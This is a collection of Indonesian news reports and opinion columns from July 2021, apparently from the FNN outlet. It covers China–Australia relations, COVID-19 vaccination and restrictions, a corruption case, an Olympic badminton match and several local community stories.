nafsu syahwatnya. Terbukti, dengan karakter seperti itu, mereka mampu membangun lembah tandus yang awalnya tidak ada kehidupan menjadi sebuah negeri terhebat di dunia (lebih lanjut simak MENGAPA HANYA ORANG SHOLEH YANG LAYAK PIMPIN NEGARA di https://www.youtube.com/watch?v=8EjOmOUnC0Y ). Ada jaminan keamanan, makmur dengan segala sandang pangannya, 24 jam tidak pernah sepi, orang-orang di seluruh dunia pun rindu untuk mengunjunginya. Itulah Mekkah yang diberkahi Allah. Jadi negeri ini haus dikelola orang-orang shaleh. Tidak boleh dikelola orang berwatak pendusta atau pembuat berita bohong. Jangan pula dikelola para pembajak –baik pembajak ide atau gagasan, karya seni atau karya ilmiah, atau pembajak kerja dan rencana orang lain. Pembajak itu pada hakekatnya adalah perampok : mengambil paksa karya orang lain demi syahwatnya. Hanya orang sholehlah yang dapat menghantarkan Indonesia ke cita-citanya sebagaimana termaktub dalam Pembukaan UUD 1945. Wallahu a’lam bisshawab. Penulis adalah Wakil Ketua Umum PDRI

Meneropong Hubungan Masa Depan China-Australia

Oleh: Achmad Nur Hidayat Hubungan diplomatik China-Australia mengalami kemunduran dari waktu ke waktu. Hal tersebut seiring juga memburuknya hubungan China-Amerika Serikat. Australia adalah sekutu AS paling penting di Asia Pasifik. Kedekatan China-Australia di satu sisi memengaruhi kebijakan Washington, namun disisi lain sejak kepemimpinan Donald Trump, Australia terkesan ditinggal sendirian. Namun, situasi sekarang beda, sejak penasehat Joe Bidden untuk kebijakan Asia, Kurt Campbell mengatakan pada Maret 2021 bahwa "AS tidak siap untuk meningkatkan hubungan bilateral dan terpisah pada saat yang sama sekutu dekatnya sedang mengalami paksaan ekonomi dari rivalnya". Kurt Campbel menyatakan AS tidak akan meninggalkan Australia sendirian. Perselisihan antara Australia dan China telah terjadi selama bertahun-tahun. Seperti AS dan negara-negara demokrasi lainnya, Australia menjalin hubungan dengan China, dan ekonomi keduanya tersebut menjadi terjalin dalam hubungan ekonomi yang sangat menguntungkan. Harta karun kekayaan alam Australia menjadi sangat diperlukan bagi mesin industri China yang berkembang pesat. Australia-China bahkan menandatangani perjanjian perdagangan bebas pada tahun 2015. Namun seiring berjalannya waktu, kemesraan hubungan ekonomi tersebut berlahan mulai pudar. Canberra mulai gelisah tentang kebijakan luar negeri Xi Jinping yang suka berkonflik khususnya terkait laut China Selatan, jalur perdagangan Australia ke negara Asia lainnya. Malcolm Turnbull, Perdana Menteri Australian 2015-2018 beberapa waktu lalu menulis buku berjudul "A Bigger Picture" (2020) dengan mengatakan bahwa China menjadi lebih tegas, lebih percaya diri dan lebih siap tidak hanya untuk menjangkau dunia namun menjadi aktor internasional yang menuntut kepatuhan. Australia sangat terbuka mengkritik kebijakan China di Laut China Selatan. Mungkin Australia bisa menjadi partner bersama Indonesia dalam mengurangi hegemoni China di perairan laut internasional. Patut dingat bahwa China membangun instalasi militer di pulau buatan Laut China Selatan untuk memperkuat klaimnya di seluruh jalur air perdagangan tersebut. China aktif sekali dalam melakukan distribusi uang di sekitar kalangan politisi negara dagangnya. Begitu juga yang China lakukan di Australia. Turnbull mengingatkan, politik bagi-bagi uang tersebut dapat mempengaruhi kebijakan pemerintah yang menguntungkan China. Sangat berbahaya. Australia berusaha mengurangi derasnya suap kepada politisi melalui Undang-undang baru yang dirancang untuk mengurangi pengaruh asing dalam pengambilan kebijakan publik. Tahun 2018, hubungan China-Australia memburuk. Pemerintahan Australia dipimpin Malcolm Turnbull melarang raksasa telekomunikasi China, Huawei, memasok peralatan untuk jaringan 5G Australia, dengan mempertimbangkan risiko keamanan yang terlalu besar terhadap infrastruktur penting. Hubungan semakin memburuk pada April 2020, ketika pemerintahan Perdana Menteri Scott Morrison saat ini menyerukan penyelidikan independen terhadap asal usul wabah virus corona yang diduga berasal dari Laboratium Wuhan di mana tuduhan semacam itu dinilai sebagai upaya manuver politik untuk menodai China. China berusaha meminta Canberra untuk mundur dari tuntutan investigasi tersebut. Sejumlah upaya dilakukan pemerintahan China terutama dalam tekanan ekonomi. China menangguhkan izin ekspor produsen daging sapi utama Australia; China mengenaian tarif hukuman "cukai" pada biji Barley dan minuman anggur; dan China menginstruksikan beberapa pembangkit listrik dan pabrik baja untuk berhenti membeli batubara dari Australia. Menurut lembaga thinktank Australia, diperkirakan bahwa Australia kehilangan $7,3 miliar dalam ekspor selama periode 12 bulan. Termasuk beberapa industri utama sangat terpukul seperti Industri seafood lobster, yang hampir sepenuhnya bergantung pada pembeli China, hancur setelah Beijing secara efektif melarang penjualannya. Kelihatannya Australia tidak mau mengalah pada tekanan ekonomi China. Australia merasa hubungan diplomatik cerdas harus dilakukan namun tidak boleh berkompromi pada nilai inti dan kepentingan nasional Australia. Beijing dinilai belum mampu menimbulkan rasa sakit ekonomi yang cukup untuk menekan Canberra agar menyerah. Kemungkinan China tidak dapat melakukan tersebut karena bala bantuan AS melalui Joe Bidden datang membawa insentif ekonomi ke berbagai partnernya termasuk Australia. Secara hitungan ekonomi, Jumlah Ekspor Australia yang terganggu dari sejumlah rintangan dagang China tersebut hanya 0,5 persen dari PDB-nya. Bahkan Australia mencari diversifikasi basis konsumennya seperti sebagian batubara yang diblokir China dialihkan ke India. Kelihatannya Beijing belum mampu menekan sempurna Canberra karena disisi lain Beijing sangat membutuhkan Biji Besi dan Lithium Australia untuk menopang kendaraan listrik China dan Industri Konstruksi China. Beijing menyalahkan Canberra. Dalam narasi Zhao Lijian, juru bicara Kementerian Luar Negeri China, mengatakan akhir tahun 2020 lalu bahwa “akar penyebab” perselisihan adalah “serangkaian langkah politik Australia yang salah” Tak lama setelah itu, China membagikan daftar 14 keluhan terhadap Canberra kepada pers lokal, yang mencakup tindakan seperti memblokir investasi China secara tidak adil dan mempelopori “perang dagang” China-Australia atas tindakan represif Beijing di Hong Kong dan provinsi Xinjiang barat jauh China. Bahkan hal yang sama dilakukan seorang diplomat top China kepada Wakil Menteri Luar Negeri AS Wendy Sherman yaitu memberikan dua daftar keluhan yang harus diperbaiki Washington untuk meningkatkan hubungan selama pembicaraan di kota pelabuhan Tianjin. Masa depan China-Australia kelihatannya masih mengalami kebuntuan mengingat keduanya terus saling menjatuhkan. Pada bulan April 2021, menteri luar negeri Australia membatalkan dua perjanjian yang ditandatangani oleh pemerintah negara bagian Victoria sebagai bagian dari proyek pembangunan infrastruktur prioritas Xi Jinping yaitu Inisiatif OBOR. China mengklaim pembatalan kesepakatan itu “merugikan hubungan luar negeri.” Lesson Learned China mempengaruhi kebijakan pada dunia luarnya dengan mengeksploitasi pengaruh pasarnya. Ekspor Australia ditekan demikan rupa melalui pelarangan dagang sejumlah komunitas unggulan Australia. Namun tekanan ekonomi terhadap Australia ternyata tidak melemahkan keputusan Canberra untuk mengkritik persoalan COVID-19. Hal tersebut karena kesatuan politik Australia dalam menghadapi China. Ingat UU baru disahkan untuk mengurangi pengaruh kekuatan "Uang" asing dikalangan politisi Aussie. Reposisi AS terhadap partner strategiknya juga menambah percaya diri Australia dalam menghadapi tekanan ekonomi China. Konsekuensi ketegangan China-Australia memiliki konsekuensi jangka panjang dalam hubungan ekonomi kedua negara. Bila Indonesia mampu seharusnya dapat mengambil keuntungan ekonomi dari ketegangan dagang kedua negara tersebut. China mungkin gagal mengubah sikap Australia, namun Australia juga tidak mengubah China apapun. Kontestansi keduanya akan berumur panjang selama AS ikut aktif dalam memperkuat partnernya. Frontline sebenarnya dari konflik ini adalah terkait hubungan China-AS bila semakin menegang, China bisa mengalami kesulitan lebih lanjut dengan Australia dan Negara lain di Asia Pasifik. Penulis adalah Pendiri Narasi Institute, Pakar Kebijakan Publik Universitas Pembangunan Nasional Veteran Jakarta

Petani Songan-Bangli Berbagi Sayuran Gratis untuk Warga Kota Denpasar

Denpasar, FNN - Para petani yang tergabung dalam Kelompok Tani Sari Pertiwi Bukit Selat Desa Songan, Kabupaten Bangli, membagikan ratusan paket sayuran segar gratis, sebagai bentuk kepedulian para petani kepada warga Kota Denpasar yang terdampak pandemi COVID-19. "Ini menjadi momen bagi kami untuk berbagi. Kami menyisihkan sedikit hasil panen untuk dibagikan meringankan beban masyarakat di perkotaan," kata Ketua Kelompok Tani Sari Pertiwi Komang Sukarsana di sela-sela kegiatan berbagi sayuran gratis di Denpasar, Sabtu. Menurut Komang, saat pandemi seperti saat ini, krisis pangan justru terjadi di perkotaan. Beda halnya dengan masyarakat di pedesaan yang mayoritas masih memiliki lahan untuk ditanami sayur-sayuran dan bisa dikonsumsi sendiri. Kelompok tani yang berlokasi di Bukit Selat Desa Songan Kintamani, Bangli ini memiliki jumlah anggota sebanyak 22 orang dengan luas lahan 25 hektare. "Dalam kondisi pandemi ini, petani relatif bisa bertahan karena sayur-mayur ini selalu dibutuhkan dan permintaannya cukup bagus. Terlebih komoditas bawang merah yang memang tidak bisa tergantikan," ucap pria yang juga Founder Rumah Bawang Songan itu. Kegiatan berbagi paket sayuran gratis ini bukanlah kegiatan yang pertama kali. Sebelumnya dia melakukan kegiatan serupa di kawasan Ubud, Gianyar dan sekitarnya dengan membagikan sebanyak 150 paket sayuran gratis. "Melalui kegiatan seperti, kami juga ingin menunjukkan bahwa petani tidak hanya dikatakan bisa meminta bantuan dari pemerintah. Tetapi, dengan menyisihkan sedikit hasil panen, kami juga bisa berkontribusi dan bisa menginspirasi kelompok tani lainnya," katanya. Komang menambahkan, paket sayuran yang dibagikan di kawasan Sanur, Tanjung Bungkak dan seputaran Gatot Subroto Kota Denpasar itu merupakan paket lengkap. Hal itu karena dalam satu paket terdiri dari sayur sawi, buncis, labu siam, terong, cabai, bawang merah dan kopi Bali arabika. "Kami memang sengaja memilih komposisi seperti ini. Habis dibagikan, sayur sawi bisa dimasak langsung, tetapi kalau terong dan labu siam dapat disimpan. Masyarakat juga tidak perlu bingung lagi membeli bumbunya," ucap pria yang juga menjadi salah satu binaan Kantor Perwakilan Bank Indonesia Provinsi Bali itu. Dengan diberikan sayuran segar, diharapkan masyarakat dapat memanfaatkan waktu luang dan bisa memasak sesuai dengan yang dibutuhkan dan sesuai selera masing-masing. (mth)

DKI Percepat Dosis Kedua untuk Ciptakan Kekebalan Komunal Secara Penuh

Jakarta, FNN - Pemerintah Provinsi (Pemprov) DKI Jakarta akan mempercepat pemberian dosis kedua vaksin untuk mempercepat pencapaian kekebalan komunal secara penuh di Ibu Kota. Wakil Gubernur DKI Jakarta Ahmad Riza Patria dalam sebuah wawancara virtual, di Jakarta, Sabtu, menyebut bahwa percepatan dosis kedua yang saat ini sudah diberikan sebanyak 2,5 juta dosis, adalah untuk menciptakan kekebalan komunal (herd immunity) secara penuh. "Ya, kalau memang akhir Agustus sudah selesai (vaksinasi dosis pertama), tentu kami juga akan mengejar dosis dua. Di DKI, dosis satu sudah mencapai 7,4 juta dari yang ditargetkan 8,5 juta warga Jakarta. Jadi harusnya, secara umum paling tidak orang dewasa sudah hampir seluruhnya dapat vaksin," kata Riza. Meski demikian, Riza mengatakan setelah dilakukan vaksinasi secara penuh, pihaknya akan memikirkan untuk melakukan pelonggaran kegiatan di Jakarta dengan melihat data perkembangan yang ada. "Terkait apakah setelah itu [vaksinasi dosis satu rampung] ada pelonggaran, tentu syarat pelonggaran ada ketentuannya. Kita lihat nanti jumlah kasus aktifnya, penyebarannya, dan sebagainya. Angka kematian, angka kesembuhan dan berbagai faskes (fasilitas kesehatan) yang ada," ujar Riza. Riza menyebutkan bahwa pelonggaran itu akan dilaksanakan secara bertahap dengan syarat warga DKI Jakarta sudah divaksinasi dan memiliki kekebalan terhadap virus corona yang cukup. "Tentu, kita berharap kalau semuanya sudah divaksin kekebalan cukup baik, tentu semua berharap pelonggaran dimulai bertahap. Kita berdoa saja semua segera selesai dan kasusnya menurun dan ke depan, pelonggaran semakin dibuka, sehingga berbagai aktivitas bisa diberlakukan seperti sedia kala," ucap dia. Sebelumnya, Pemprov DKI Jakarta menyatakan diri telah mencapai target vaksinasi sebesar 7,5 juta orang untuk dosis pertama sebelum Agustus 2021 sesuai target yang ditetapkan Presiden Joko Widodo. "Kita lebih cepat satu bulan dari target yang sudah ditetapkan," kata Gubernur DKI Jakarta Anies Baswedan. Adapun sasaran vaksinasi di DKI Jakarta mencapai 8,81 juta orang. Berdasarkan data corona.jakarta.go.id pada Sabtu (31/7) tercatat vaksinasi untuk dosis pertama diberikan kepada 7.507.340 orang atau 85,2 persen dari target 8,81 juta orang. Untuk vaksinasi dosis kedua mencapai 2.667.299 orang dan dosis ketiga khusus untuk tenaga kesehatan sebanyak 3.547 orang. Di sisi lain, Anggota DPRD DKI Jakarta Gilbert Simanjuntak sebelumnya menyebutkan kekebalan komunal (herd immunity) di Jakarta akan tercapai jika 100 persen populasi warga di Ibu Kota sudah tervaksin dan itu pun harus dengan vaksin dosis kedua. "Secara teoritis kekebalan itu baru sesuai harapan setelah suntikan kedua. Dan untuk herd immunity di Jakarta, harus semua atau sekiar 10 juta lebih warga yang tervaksin dosis kedua," kata Gilbert. Keharusan 100 persen ini, kata Gilbert, dikarenakan vaksin yang digunakan di Jakarta sebagian besar adalah Sinovac yang memiliki efikasi vaksin atau tingkat kemanjuran 51 persen. Perhitungan 70 persen target kekebalan komunal, menurut Gilbert yang juga merupakan epidemiolog dari Universitas Kristen Indonesia (UKI) ini, adalah perhitungan dengan vaksin yang memiliki efikasi sebesar 90 persen atau lebih setelah suntikan kedua. "Jadi, tidak bisa hanya 8 juta atau 70 persen saja jika vaksin yang kita pakai berefikasi di bawah itu," tutur politisi PDIP ini.(mth)

Masyarakat Anti Korupsi Kecam Pinangki belum Dieksekusi ke Lapas Wanita

Jakarta, FNN - Masyarakat Anti Korupsi Indonesia (MAKI) mengecam dan menyayangkan terpidana Pinangki Sirna Malasari belum dieksekusi ke Lembaga Pemasyarakatan (Lapas) Wanita Pondok Bambu atau lapas wanita lainnya usai divonis di Pengadilan Tinggi DKI Jakarta. "Berdasarkan penulusuran MAKI, hingga saat ini Pinangki masih ditahan di Rutan Kejagung. Belum dilakukan eksekusi putusan empat tahun penjara dalam bentuk dipindah ke Lapas Wanita Pondok Bambu atau Lapas Wanita lainnya," kata Koordinator MAKI Bonyamin Saiman dalam keterangan tertulis-nya yang dikirim lewat pesan instans 'whatsapp' yang diterima ANTARA di Jakarta, Sabtu (31/7/2021). Menurut Bonyamin, hal itu jelas menunjukkan tidak adil dan diskriminasi atas narapidana-narapidana wanita lainnya. "Telah terjadi disparitas (perbedaan) dalam penegakan hukum," ucap Bonyamin. MAKI meminta Jaksa Penuntut Umum Pidsus Kejaksaan Agung RI segera melakukan eksekusi terhadap Pinangki ke Lapas Wanita Pondok Bambu atau Lapas Wanita lainnya. "Jika minggu depan belum dieksekusi, maka MAKI akan melapor ke Komjak dan Jamwas Kejagung RI serta Komisi III DPR," ujar Bonyamin. Kepala Kejaksaan Negeri Jakarta Pusat Riono Budi Santoso saat dikonfirmasi terpisah menyebutkan, alasan belum dieksekusinya Jaksa Pinangki Sinar Malasari ke Lapas karena persoalan teknis administratif. Pihaknya belum mengeksekusi Pinangki untuk memastikan terdakwa mengajukan kasasi atau tidak. "Hanya masalah teknis dan administratif di Kejari Jakarta Pusat saja. Kami sebelumnya harus memastikan apakah terdakwa mengajukan kasasi atau tidak. Tapi segera akan dieksekusi," ujar Riono. Pengadilan Tindak Pidana Korupsi Jakarta memvonis Pinangki Sirna Malasari 10 tahun penjara. Selain itu, Pinangki dihukum membayar denda Rp 600 juta subsider 6 bulan kurungan. Namun, Pengadilan Tinggi DKI Jakarta pada sidang banding Senin (14/6/2021) memangkas hukuman Pinangki dari 10 tahun menjadi empat tahun. Dalam perkara ini, Pinangki terbukti melakukan tiga perbuatan pidana. Pertama, terbukti menerima suap sebesar 500 ribu dolar AS dari terpidana kasus cessie Bank Bali Djoko Tjandra. Uang itu diberikan dengan tujuan agar Djoko Tjandra dapat kembali ke Indonesia tanpa harus dieksekusi pidana dua tahun penjara berdasarkan putusan Peninjauan Kembali No. 12 tertanggal 11 Juni 2009. Pinangki ikut menyusun action plan berisi 10 tahap pelaksanaan untuk meminta fatwa Mahkamah Agung (MA) atas putusan Peninjauan Kembali (PK) Djoko Tjandra dengan mencantumkan inisial "BR" yaitu Burhanuddin sebagai pejabat di Kejaksaan Agung dan "HA" yaitu Hatta Ali selaku pejabat di MA dengan biaya 10 juta dolar AS. Namun, baru diberikan 500 ribu dolar AS sebagai uang muka. Perbuatan kedua, Pinangki dinilai terbukti melakukan pencucian uang senilai 375.279 dolar AS atau setara Rp 5.253.905.036. Uang tersebut adalah bagian dari uang suap yang diberikan Djoko Tjandra. Bentuk pencucian uang antara lain dengan membeli mobil BMW X5 warna biru, pembayaran sewa apartemen di Amerika Serikat. Kemudian, pembayaran dokter kecantikan di AS, pembayaran dokter home care, pembayaran sewa apartemen, dan pembayaran kartu kredit. Perbuatan ketiga adalah Pinangki melakukan permufakatan jahat bersama dengan Andi Irfan Jaya, Anita Kolopaking, dan Djoko Tjandra untuk menjanjikan sesuatu berupa uang sejumlah 10 juta dolar AS kepada pejabat di Kejagung dan MA untuk menggagalkan eksekusi Djoko Tjandra yang tertuang dalam action plan. (MD).

Pesawat Tempur F-16 TNI AU Patroli Pulau Terluar di Selat Malaka

Pekanbaru, FNN - Pesawat Tempur F-16 yang bermarkas di Skuadron Udara 16 Lanud Roesmin Nurjadin, Pekanbaru, menggelar patroli udara di Selat Malaka dan Selat Karimata. Tujuannya, memantau kondisi pulau-pulau terluar di Indonesia barat itu. "Operasi patroli udara untuk pengamanan dan pemantauan kondisi terkini pulau-pulau terluar wilayah Indonesia barat. Antara lain, Pulau Berhala, Pulau Batu Mandi, dan Pulau Rupat, Provinsi Riau," kata Komandan Lanud Roesmin Nurjadin Marsma TNI Andi Kustoro dalam keterangannya di Pekanbaru, Sabtu, 31 Juli 2021. Dia mengatakan, berdasarkan pantauan diketahui kondisi pulau terluar di Selat Malaka dan Karimata masih aman. Sejauh ini belum ditemukan pelanggaran wilayah dan potensi ancaman di udara dan permukaan. Andi menyebutkan seluruh anggota Skuadron Udara 16, yakni penerbang dan ground crew untuk mempersiapkan pelaksanaan operasi dengan sepenuh hati agar hasil yang dicapai lebih maksimal. "Meski operasi dilakukan pada masa pandemi, diharapkan para prajurit Skuadron Udara 16, terutama para penerbang tetap semangat demi Indonesia tercinta," katanya sebagaimana dikutip dari Antara. "Operasi Patroli Udara dengan Sandi Operasi Lintas Rajawali-21 dilaksanakan secara terjadwal sepanjang tahun di bawah kendali Komando Operasi TNI AU I sesuai dengan tatanan tugas dan tanggung jawab TNI AU," katanya. Dalam operasi pesawat termpur tersebut, Komandan Skuadron Udara 16 Letkol Penerbang Andri Setyawan bertindak sebagai flight leader dalam Operasi Lintas Rajawali-21 dan tidak ditemukan kendala selama patroli. (MD).

Serang, FNN - Ombudsman Republik Indonesia Perwakilan Provinsi Banten (Ombudsman Banten) melakukan pengawasan pada pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 dan Level 4 di sejumlah daerah di Provinsi Banten. Ombudsman Banten melakukan pemantauan langsung ke titik-titik penyekatan dan pengendalian di wilayah Provinsi Banten, di antaranya dilakukan di Kabupaten Tangerang, Sabtu, 31 Juli 2021. Sebelumnya, Ombudman Banten melakukan pengawasan pelaksanaan PPKM di Kota Tangerang Selatan, Kota Tangerang, Kabupaten Serang, Kota Cilegon, dan Kabupaten Lebak. Kemudian Ombudsman Banten pada Jumat, 30 Juli, dan Sabtu, 31 Juli 2021 melakukan pemantauan pelaksanaan PPKM di wilayah Kabupaten Tangerang. Kepala Ombudsman Banten Dedy Irsan bersama tim melakukan pemantauan di beberapa titik penyekatan dan pengendalian di Kabupaten Tangerang, yaitu di Pos Penyekatan Citra Raya, Pos Pengendalian PPKM Balaraja Barat, dan Pos Pengendalian PPKM Balaraja Timur. "Hasil pemantauan Ombudsman, penyekatan dan pengendalian PPKM di Kabupaten Tangerang dilaksanakan dengan baik. Banyak petugas dari Polres Kota Tangerang yang berjaga di pos-pos pengendalian dan penyekatan PPKM," kata Dedy Irsan, sebagaimana dikutip dari Antara. Ombusman Banten menyampaikan apresiasinya kepada Polresta Tangerang di bawah pimpinan Kombes Pol Wahyu Sri Bintoro yang secara serius melaksanakan penyekatan dan pengendalian di wilayah hukum Polresta Tangerang "PPKM yang diberlakukan saat ini memang berbeda dengan PPKM Darurat, PPKM Level 4 dan Level 3 membuat beberapa perubahan berupa pelonggaran kegiatan ekonomi," kata Dedy Irsan. Di Kabupaten Tangerang, Ombudsman Banten juga melakukan pemantauan rumah makan dan toko kelontong pada pukul 20.30 WIB hingga pukul 23.30 WIB. Sebagian besar rumah makan dan toko-toko sudah patuh dan taat pada aturan PPKM Level 4 saat ini. “Mungkin sebagian masyarakat berharap PPKM ini disudahi saja, karena dianggap mempersulit perekonomian masyarakat, namun di satu sisi penyebaran kasus COVID-19 terus meningkat, hal ini memang sebuah dilema, harus ada satu pemahaman antara masyarakat dengan pemangku kebijakan, sehingga COVID-19 terkendali dan perekonomian masyarakat terus berputar,” kata Dedy pula. (MD).

Gelora, Partai Baru dengan Elektabilitas Tertinggi

Jakarta, FNN - Partai Gelora Indonesia (Gelora) besutan Anis Matta menjadi partai baru dengan elektabilitas tertinggi. Lembaga survei Suara Milenial Institute dalam rilisnya Jumat (30/7) memaparkan data, Gelora berada di deretan teratas partai-partai baru. Elektabilitasnya bahkan mengalahkan sejumlah partai lama. “Alhamdulillah, ini bisa menjadi pendorong semangat bagi para kader agar bekerja lebih keras lagi untuk memperoleh kepercayaan masyarakat,” ujar Sekjen Partai Gelora Mahfuz Sidik di Jakarta Sabtu (31/7). Dalam situasi pandemi, kata Mahfuz, tidak mudah untuk melakukan konsolidasi apalagi bagi partai baru. “Saya bersyukur semua itu tidak dianggap sebagai hambatan bagi para kader,” tambahnya. Mayoritas kader Partai Gelora adalah anak-anak muda, dari berbagai latar belakang, termasuk dari berbagai partai lama. Mereka mengusung semangat kolaborasi di tengah pembelahan masyarakat yang sangat parah saat ini. Survei elektabilitas partai ini dilaksanakan selama sepekan 15-22 Juli dengan total responden sebanyak 1.000 orang. Pengambilan sampel menggunakan metode random sampling melalui telefon. Margin of error 3,01 persen, dengan tingkat kepercayaan 95%. Survei menunjukkan partai-partai lama mengalami penurunan elektabilitas. Partai Gelora memperoleh 1,5%, hampir dua kali lipat dibandingkan partai umat 0,8%, Masyumi Reborn 0,4%. Elektabilitas Gelora bahkan mengalahkan partai-partai lama, Berkarya 0,5%, Hanura 0,4%, PBB 0,3 %, Garuda 0,2%, dan PKPI 0,1%. Hasil survei yang dilakukan oleh Suara Milenial Institute itu hasilnya tidak berbeda jauh dengan survei yang pernah dilakukan oleh Rekode Research Center (RRC). Awal Juni lalu dalam rilis hasil surveinya, RRC juga menyatakan Partai Gelora sebagai partai baru dengan elektabilitas tertinggi. Pada survei yang dilaksanakan tanggal 26 April- 8 Mei 2021 dengan responden sebanyak 1.200 orang dari 34 propinsi, Gelora juga menjadi partai baru terpopuler dan paling diminati untuk dipilih. Dari total 1.210 responden ada sebanyak 190 responden atau 15,7% menyatakan belum/tidak memilih partai-partai yang ada. Dari total responden yang belum/tidak memilih tersebut mereka menyatakan tahu Partai Gelora (32,1%), Partai Umat (30.0%), Partai Masyumi Reborn (30.0%) dan Partai Hijau (9.5%). Sementara yang tertarik memilih Partai Gelora (14.2%), Partai Umat (10.5%), Partai Masyumi Reborn (10.0%), dan Partai Hijau (9.5%). “Data survei tersebut menunjukkan partai-partai baru punya peluang untuk tampil. Angka Undiceded Voters masih cukup besar,” ujar Project Manager RRC Lisdiana Putri. (end)

Ginting Melanggeng ke Babak Semifinal Olimpiade Tokyo

Jakarta, FNN - Anthony Sinisuka Ginting melenggang ke babak semifinal tunggal putra Olimpiade Tokyo 2020. Kesuksesan itu ia peroleh setelah menyingkirkan pebulu tangkis peringkat tiga dunia Anders Antonsen di Musashino Forest Sport Plaza, Tokyo, Sabtu, 31 Juli 2021. Ginting menundukkan atlet asal Denmark itu dalam rubber game 21-18, 15-21, 21-18 yang berlangsung dalam 79 menit. Gim pertama dibuka dengan reli terpanjang antara Ginting dan Antonsen, dengan sebanyak 46 kali pukulan dan berlangsung selama 53 detik. Atlet peringkat lima ini berusaha menyudahi reli dengan smash ke arah samping lapangan, namun sayangnya bola pukulannya jatuh di kotak luar dan angka pertama pun diraih Antonsen. Persaingan terus berlanjut, kedua pemain pun saling mengejar angka satu demi satu. Saat angka imbang 5-5, Ginting mampu menyusul dan unggul. Antonsen sempat menyamakan kedudukan 12-12 dan unggul beberapa angka, namun tak butuh waktu lama bagi Ginting untuk kembali melewati poin lawannya. Sebagaimana dikutip dari Antara, Ginting menutup gim pertama melalui serangan berani ke area depan. Antonsen yang terjatuh setelah menepis pukulan, menjadi peluang bagi Ginting untuk melakukan smash yang masuk di bagian tengah lapangan. Pada gim kedua, atlet asal Cimahi Jawa Barat itu melambatkan tempo permainan. Namun, hal itu dimanfaatkan Antonsen yang bermain lebih agresif. Ginting berusaha memberikan perlawanan, namun skornya terlalu jauh dan tak bisa mengejar ketertinggalan. Gim kedua pun berakhir dengan kemenangan bagi Antonsen. Pada gim penentu, baik Ginting dan Antonsen bermain dengan tempo lambat. Keduanya lebih banyak bertahan dan hanya melakukan serangan jika punya kesempatan. Lambatnya tempo permainan juga terlihat dari gim ketiga yang berlangsung selama 29 menit, lebih lama dibanding dua gim sebelumnya. Interval awal masih diwarnai kejar mengejar angka dan didominasi permainan di zona depan. Ginting baru punya peluang menyusul saat angka 14-14. Masih dalam permainan netting, Ginting sukses mengecoh Antonsen sehingga pukulannya tak terbendung. Ia pun unggul menjadi 15-14. Tiba di match point, Ginting justru membuat dua kesalahan beruntun hingga menguntungkan poin Antonsen menjadi 20-18. Beruntung Ginting mengunci kemenangan di gim penentu setelah terlibat adu netting dan mendapat satu angka menjadi 21-18. Pada babak empat besar, Ginting masih menanti calon lawan antara Chen Long dari China dan Chou Tien-Chen dari Taiwan. (MD).

Sebanyak 22.000 Mahasiswa Disebar ke 491 Daerah dalam Program Kampus Mengajar

Jakarta, FNN - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi akan menyebar 22.000 mahasiswa peserta Program Kampus Mengajar Angkatan II ke 3.593 sekolah dasar dan sekolah menengah pertama di 491 kabupaten dan kota di Indonesia. “Ini adalah kesempatan yang luar biasa untuk membantu anak-anak di dalam sekolah yang akan menjadi tempat mengajar nanti,” kata Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi Nadiem Anwar Makarim sebagaimana dikutip dalam siaran pers kementerian di Jakarta, Sabtu. Nadiem menjelaskan, Program Kampus Mengajar dilaksanakan untuk membantu anak-anak sekolah di daerah terdepan, terpencil, dan tertinggal (3T) yang pada masa pandemi COVID-19 kesulitan mengikuti kegiatan pembelajaran dari jarak jauh. Ia meminta para mahasiswa sungguh-sungguh mengikuti pembekalan yang dilaksanakan intensif selama delapan hari agar bisa optimal memberikan panduan untuk meningkatkan kemampuan siswa dalam numerasi, literasi, dan pembangunan karakter.​​​​​​​ Nadiem juga mendorong mahasiswa peserta Program Kampus Mengajar Angkatan II untuk berani mencoba hal baru dalam kegiatan di sekolah mau pun luar sekolah serta berinteraksi baik dengan para guru dan masyarakat di daerah penempatan. "Terakhir have fun , pastikan bahwa pengalaman ini yang akan Anda kenang seumur hidup,” katanya. Sementara itu, Sekretaris Direktorat Jenderal Pendidikan Tinggi Paristiyanti Nurwardani menyebut peserta Program Kampus Mengajar Angkatan II sebagai mahasiswa Platinum. “Platinum itu adalah logam paling mahal di dunia, jadi adik-adik adalah generasi paling muda dengan kualitas terbaik di Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi. Mas Menteri sudah memberikan kepercayaan, jangan lupa untuk memberikan dedikasi dan integrasi untuk kampus mengajar," tutur Paris. Ia berharap 22.000 mahasiswa peserta Program Kampus Mengajar Angkatan II bisa membantu memacu kreativitas siswa. “Kedekatan Anda dengan murid itu juga menjadi tolok ukur, apakah Anda punya dampak atau tidak,” kata Paris. Mahasiswa juga diharapkan dapat cepat beradaptasi di daerah penempatan yang budaya, bahasa, dan kondisi sosial ekonomi masyarakatnya berbeda dengan daerah tempat mereka tinggal. Ketidaknyamanan pada masa adaptasi dengan daerah baru, menurut Paris, merupakan bagian dari proses belajar, bertumbuh, dan berevolusi sebagai orang dewasa muda. “Jangan takut dengan rasa ketidaknyamanan, malah dirangkul rasa ketidaknyamanan itu karena dari situlah kita akan tumbuh sebagai orang baik dari sisi karakter atau dari sisi kompetensi kita,” katanya. (mth)

Bukit Asam Sumbang 488 Bola Kaki untuk Kemajuan Olahraga Sumsel

Palembang, FNN - PT Bukit Asam (Persero) menyumbang 488 bola kaki untuk mendorong sukses “Gerakan Sejuta Bola” yang dicanangkan Pemerintah Provinsi Sumatera Selatan. Senior Manajer Corporate Sosial Responsibilty PT Bukit Asam Hartono di Palembang, Sabtu, mengatakan, sumbangsih PTBA ini merupakan komitmen dari perusahaan untuk mendukung program pemerintah daerah di bidang olahraga. Selain itu, ini juga bentuk implementasi Instruksi Presiden (Inpres) Nomor 3 Tahun 2019 tentang Percepatan Pembangunan Persepak-bolaan Nasional. “Sebelumnya, pada 29 Juni 2020 telah diserahkan 200 bola, dan hari ini kami serahkan 288 bola berstandar nasional,” kata Hartono saat menyerahkan bantuan tersebut ke Kepala Dinas Pemuda dan Olahraga Provinsi Sumatera Selatan Yusuf Wibowo. Kepedulian PTBA pada kemajuan olahraga di Sumsel juga ditunjukkan dengan membangun 10 Gedung Olahraga (GOR) di sejumlah kabupaten/kota dengan menggunakan dana CSR senilai Rp128 miliar. Melalui bantuan sarana dan prasarana ini, PTBA berharap dapat membantu upaya pemprov dalam mencetak atlet berbakat yang dapat mengharumkan nama daerah dan negara. 